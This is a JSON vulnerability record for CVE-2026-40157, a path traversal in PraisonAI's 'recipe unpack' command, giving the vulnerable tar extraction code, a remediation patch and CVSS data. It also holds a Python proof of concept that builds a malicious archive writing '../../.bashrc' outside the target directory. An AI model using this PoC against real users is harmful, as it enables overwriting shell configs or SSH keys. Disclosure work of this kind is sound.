{"id":"CVE-2026-40157","aliases":["CVE-2026-40157","GHSA-99g3-w8gr-x37c","PYSEC-2026-469"],"related":[],"kind":"vulnerability","state":"published","title":"PraisonAI affected by arbitrary file write via path traversal in `praisonai recipe unpack`","summary":"PraisonAI is a multi-agent teams system. Prior to 4.5.128, cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack. This vulnerability is fixed in 4.5.128.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PraisonAI is a multi-agent teams system. Prior to 4.5.128, cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack. This vulnerability is fixed in 4.5.128.","source":"cvelist"},{"lang":"en","text":"| Field | Value |\n|---|---|\n| Severity | Critical |\n| Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation |\n| Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` |\n\n## Summary\n\n`cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run `praisonai recipe unpack`.\n\n## Details\n\nThe vulnerable code is in `cli/features/recipe.py:1170-1172`:\n\n```python\nfor member in tar.getmembers():\n    if member.name != \"manifest.json\":\n        tar.extract(member, recipe_dir)\n```\n\nThe only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`.\n\nThe codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it.\n\n```python\n# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:\n    dest = str(dest_dir.resolve())\n    for member in tar.getmembers():\n        if os.path.isabs(member.name):\n            raise RegistryError(...)\n        if \"..\" in member.name.split(\"/\"):\n            raise RegistryError(...)\n        resolved = os.path.realpath(os.path.join(dest, member.name))\n        if not resolved.startswith(dest + os.sep):\n            raise RegistryError(...)\n    tar.extractall(dest_dir)\n```\n\n## PoC\n\nBuild a malicious bundle:\n\n```python\nimport tarfile, io, json\n\nmanifest = json.dumps({\"name\": \"legit-recipe\", \"version\": \"1.0.0\"}).encode()\n\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(name=\"manifest.json\")\n    info.size = len(manifest)\n    tar.addfile(info, io.BytesIO(manifest))\n\n    payload = b\"export EVIL=1  # injected by malicious recipe\\n\"\n    evil = tarfile.TarInfo(name=\"../../.bashrc\")\n    evil.size = len(payload)\n    tar.addfile(evil, io.BytesIO(payload))\n```\n\nTrigger:\n\n```bash\npraisonai recipe unpack malicious.praison -o ./recipes\n# Expected: files written only under ./recipes/legit-recipe/\n# Actual:   .bashrc written two directories above the output dir\n```\n\n## Impact\n\n| Path | Traversal blocked? |\n|------|--------------------|\n| `praisonai recipe pull <name>` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe publish <bundle>` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe unpack <bundle>` | No -- raw `tar.extract()` |\n\nAn attacker needs to get a victim to unpack a malicious `.praison` bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.\n\nDepending on filesystem permissions, an attacker can overwrite shell config files (`.bashrc`, `.zshrc`), cron entries, SSH `authorized_keys`, or project files in parent directories. The attacker controls both the path and the content of every written file.\n\n## Remediation\n\nReplace the raw extraction loop with `_safe_extractall`:\n\n```python\n# cli/features/recipe.py:1170-1172\n# Before:\nfor member in tar.getmembers():\n    if member.name != \"manifest.json\":\n        tar.extract(member, recipe_dir)\n\n# After:\nfrom praisonai.recipe.registry import _safe_extractall\n_safe_extractall(tar, recipe_dir)\n```\n\n### Affected paths\n\n- `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` -- `cmd_unpack` extracts tar members without path validation","format":"markdown","source":"ghsa"},{"lang":"es","text":"PraisonAI es un sistema de equipos multiagente. Antes de la versión 4.5.128, cmd_unpack en la CLI de recetas extrae archivos tar .praison utilizando tar.extract() directamente sin validar las rutas de los miembros del archivo. Un paquete .praison que contiene entradas .. / .. /  escribirá archivos fuera del directorio de salida previsto. Un atacante que distribuye un paquete malicioso puede sobrescribir archivos arbitrarios en el sistema de archivos de la víctima cuando ejecutan praisonai recipe unpack. Esta vulnerabilidad está corregida en la versión 4.5.128.","source":"nvd"}],"published":"2026-04-10T16:47:16.109Z","modified":"2026-11-16T16:00:04.741Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 4.5.128","status":"affected"}],"vendor":"MervinPraison","product":"PraisonAI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"2.7.2","status":"affected","fixed":"4.5.128"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.5.128"}],"vendor":"praison","product":"praisonai","cpe":"cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"2.7.2","status":"affected","fixed":"4.5.128"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"pysec"}],"references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-99g3-w8gr-x37c","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40157","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/MervinPraison/PraisonAI","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/praisonai/PYSEC-2026-469.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/praisonai","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-99g3-w8gr-x37c","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-14T14:13:25.449Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40157","url":"https://www.cve.org/CVERecord?id=CVE-2026-40157","licence":"CVE Terms of Use","modified":"2026-04-14T14:13:29.632Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-99g3-w8gr-x37c","url":"https://github.com/advisories/GHSA-99g3-w8gr-x37c","licence":"CC-BY-4.0","modified":"2026-11-16T16:00:04.741Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40157","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40157","licence":"Public domain","modified":"2026-10-26T00:10:00.150Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-469","url":"https://osv.dev/vulnerability/PYSEC-2026-469","licence":"CC-BY-4.0","modified":"2026-07-01T20:23:01.409Z"}],"updatedAt":"2026-11-25T22:59:18.528Z","epss":{"score":0.00394,"percentile":0.35693,"date":"2026-12-01T12:00:22.000Z"}}